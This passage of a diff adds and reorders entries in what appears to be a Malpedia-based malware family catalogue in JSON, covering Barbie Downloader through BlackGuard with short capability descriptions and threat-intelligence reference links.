"bc67677c-c0e7-4fb1-8619-7f43fa3ff886", "value": "Bankshot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.barbie", + "https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dbf9d453-cf02-4861-ab90-f65bb77d5971", + "value": "Barb(ie) Downloader" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.barbwire", + "https://www.cybereason.com/blog/operation-bearded-barbie-apt-c-23-campaign-targeting-israeli-officials" + ], + "synonyms": [], + "type": [] + }, + "uuid": "7e68e486-08a8-4d09-997f-2b844cf86fc2", + "value": "BarbWire" + }, { "description": "", "meta": { @@ -10824,6 +12844,7 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/" ], "synonyms": [], @@ -10864,82 +12885,126 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - 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"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", - "https://fr3d.hk/blog/campo-loader-simple-but-effective", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", "https://twitter.com/anthomsec/status/1321865315513520128", "https://www.hhs.gov/sites/default/files/bazarloader.pdf", "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://isc.sans.edu/diary/27308", + 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"https://experience.mandiant.com/trending-evil/p/1", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", + "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", + 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"https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://fr3d.hk/blog/campo-loader-simple-but-effective", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", + "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", + "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", - "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", + "https://forensicitguy.github.io/bazariso-analysis-advpack/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/" + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/" ], "synonyms": [ "BEERBOT", @@ -11120,7 +13185,7 @@ "value": "BestKorea" }, { - "description": "", + "description": "Cybereason concludes that Betabot is a sophisticated infostealer malware that’s evolved significantly since it first appeared in late 2012. The malware began as a banking Trojan and is now packed with features that allow its operators to practically take over a victim’s machine and steal sensitive information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", @@ -11131,6 +13196,7 @@ "http://www.xylibox.com/2015/04/betabot-retrospective.html", "https://news.sophos.com/en-us/2020/05/14/raticate/", "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", + "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en", "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html" @@ -11168,6 +13234,21 @@ "uuid": "95b454f6-8ffb-4ef7-8a91-14d48601a899", "value": "BfBot" }, + { + "description": "BHunt collects the crypto wallets of its victims. The malware consists of several functions/modules, e.g. a reporting module that reports the presence of crypto wallets on the target computers to the C2 server. It searches for many different cryptocurrencies (e.g. Atomic, Bitcoin, Electrum, Ethereum, Exodus, Jaxx and Litecoin). The Blackjack module is used to steal wallets, Sweet_Bonanza steals victims' browser passwords. There are also modules like the Golden7 or the Chaos_crew module.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt", + "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger", + "https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf", + "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ae3fe9fa-0717-413e-94fe-6e7b607e45c6", + "value": "BHunt" + }, { "description": "Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.", "meta": { @@ -11201,11 +13282,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates", - "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", - "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", + "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", + "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf", + "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", "https://habrahabr.ru/post/213973/", - "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/" + "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/" ], "synonyms": [], "type": [] @@ -11233,6 +13316,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata", "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/", + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], "synonyms": [], @@ -11336,7 +13421,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan", + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], @@ -11347,21 +13434,34 @@ "value": "Bitter RAT" }, { - "description": "", + "description": "According to Bitdefender, BitRAT is a notorious remote access trojan (RAT) marketed on underground cybercriminal web markets and forums. Its price tag of $20 for lifetime access makes it irresistible to cybercriminals and helps the malicious payload spread.\r\n\r\nFurthermore, each buyer’s modus operandi makes BitRAT even harder to stop, considering it can be employed in various operations, such as trojanized software, phishing and watering hole attacks.\r\n\r\nBitRAT’s popularity arises from its versatility. The malicious tool can perform a wide range of operations, including data exfiltration, UAC bypass, DDoS attacks, clipboard monitoring, gaining unauthorized webcam access, credential theft, audio recording, XMRig coin mining and generic keylogging.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat", + "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", + "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", + "https://community.riskiq.com/article/ade260c6", + "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", + "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", + "https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat", + "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://asec.ahnlab.com/en/32781/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", + "https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", - "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt" + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/" ], "synonyms": [], "type": [] @@ -11397,6 +13497,102 @@ "uuid": "ea06f87c-148c-49e5-afec-7012cb2b4f0a", "value": "BKA Trojaner" }, + { + "description": "\"Black Basta\" is a new ransomware strain discovered during April 2022 - looks in dev since at least early February 2022 - and due to their ability to quickly amass new victims and the style of their negotiations, this is likely not a new operation but rather a rebrand of a previous top-tier ransomware gang that brought along their affiliates.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta", + "https://gbhackers.com/black-basta-ransomware/", + "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", + "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", + "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/" + ], + "synonyms": [ + "no_name_software" + ], + "type": [] + }, + "uuid": "ada47367-7e69-4122-b5c1-4e5aeb54f922", + "value": "Black Basta" + }, + { + "description": "Ransomware. Uses dropper written in JavaScript to deploy a .NET payload.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte", + "https://blog.talosintelligence.com/2022/05/the-blackbyte-ransomware-group-is.html", + "https://therecord.media/san-francisco-49ers-confirm-ransomware-attack/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/trellix-global-defenders-analysis-and-protections-for-blackbyte-ransomware.html", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.deepinstinct.com/blog/understanding-the-windows-javascript-threat-landscape", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", + "https://www.zscaler.com/blogs/security-research/analysis-blackbyte-ransomwares-go-based-variants", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/", + "https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure", + "https://www.ic3.gov/Media/News/2022/220211.pdf", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://redcanary.com/blog/blackbyte-ransomware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c7732221-fbb3-4469-a1c6-260a825b290a", + "value": "BlackByte" + }, + { + "description": "ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.\r\n\r\nALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://www.ic3.gov/Media/News/2022/220420.pdf", + "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", + "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html", + "https://github.com/f0wl/blackCatConf", + "https://www.sentinelone.com/labs/blackcat-ransomware-highly-configurable-rust-driven-raas-on-the-prowl-for-victims/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", + "https://securelist.com/a-bad-luck-blackcat/106254/", + "https://unit42.paloaltonetworks.com/blackcat-ransomware/", + "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", + "https://www.microsoft.com/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://www.intrinsec.com/alphv-ransomware-gang-analysis", + "https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive", + "https://www.varonis.com/blog/alphv-blackcat-ransomware", + "https://id-ransomware.blogspot.com/2021/12/blackcat-ransomware.html", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html" + ], + "synonyms": [ + "ALPHV", + "Noberus" + ], + "type": [] + }, + "uuid": "44109c47-f4ab-41c0-8d18-b93e7dcd8e42", + "value": "BlackCat (Windows)" + }, { "description": "a backdoor that obfuscates its communications as normal traffic to legitimate websites such as Github and Microsoft's Technet portal.", "meta": { @@ -11429,23 +13625,27 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy", "https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf", + "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf", + "http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf", + "https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.secureworks.com/research/blackenergy2", + "https://threatconnect.com/blog/casting-a-light-on-blackenergy/", "https://www.riskint.blog/post/revisited-fancy-bear-s-new-faces-and-sandworms-too", + "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/", "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://web.archive.org/web/20140428201836/http://www.fireeye.com/blog/technical/malware-research/2010/03/black-energy-crypto.html", "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/", "https://securelist.com/black-ddos/36309/", - "http://atlas-public.ec2.arbor.net/docs/BlackEnergy+DDoS+Bot+Analysis.pdf", - "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", - "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf", - "https://www.secureworks.com/research/blackenergy2", + "https://www.tesorion.nl/en/resources/pdfstore/Report-OSINT-Russia-Ukraine-Conflict-Cyberaspect.pdf", "https://marcusedmondson.com/2019/01/18/black-energy-analysis/", - "https://threatconnect.com/blog/casting-a-light-on-blackenergy/", - "https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Cherepanov-Lipovsky.pdf" + "http://pds15.egloos.com/pds/201001/01/66/BlackEnergy_DDoS_Bot_Analysis.pdf", + "https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf", + "https://www.welivesecurity.com/2014/10/14/cve-2014-4114-details-august-blackenergy-powerpoint-campaigns/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf" ], "synonyms": [], "type": [] @@ -11453,6 +13653,31 @@ "uuid": "82c644ab-550a-4a83-9b35-d545f4719069", "value": "BlackEnergy" }, + { + "description": "According to Zscaler, BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackguard", + "https://blog.cyble.com/2022/04/01/dissecting-blackguard-info-stealer/", + "https://www.techtimes.com/articles/273752/20220331/new-password-stealing-malware-hacking-forum-hack-password-stealing-google-chrome-binance-outlook-telegram.htm", + 